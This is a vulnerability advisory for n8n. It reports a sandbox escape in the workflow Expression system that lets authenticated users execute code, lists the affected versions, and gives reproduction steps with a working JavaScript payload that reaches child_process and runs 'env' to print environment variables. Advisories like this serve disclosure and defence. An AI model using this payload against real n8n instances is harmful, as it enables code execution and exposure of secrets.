Authenticated users can bypass the Expression sandbox mechanism to achieve full remote code execution on n8n’s main node.
n8n
(,1.123.17)
[2.0.0,2.4.5)
[2.5.0,2.5.1)
n8n contains a critical Remote Code Execution (RCE) vulnerability in its workflow Expression evaluation system. Expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime.
An authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations.
- Go to the n8n instance and create a new workflow
- Choose the "Edit Fields" block and double click on it
-
Write the following payload in the field name or value -
{{ (function(){ var constructor = 123; with(function(){}){ return constructor("return process.mainModule.require('child_process').execSync('env').toString().trim()")() } })() }} - Press "Execute step" and observe that the returned JSON object contains the
envOS command's output
No mitigations are supplied for this issue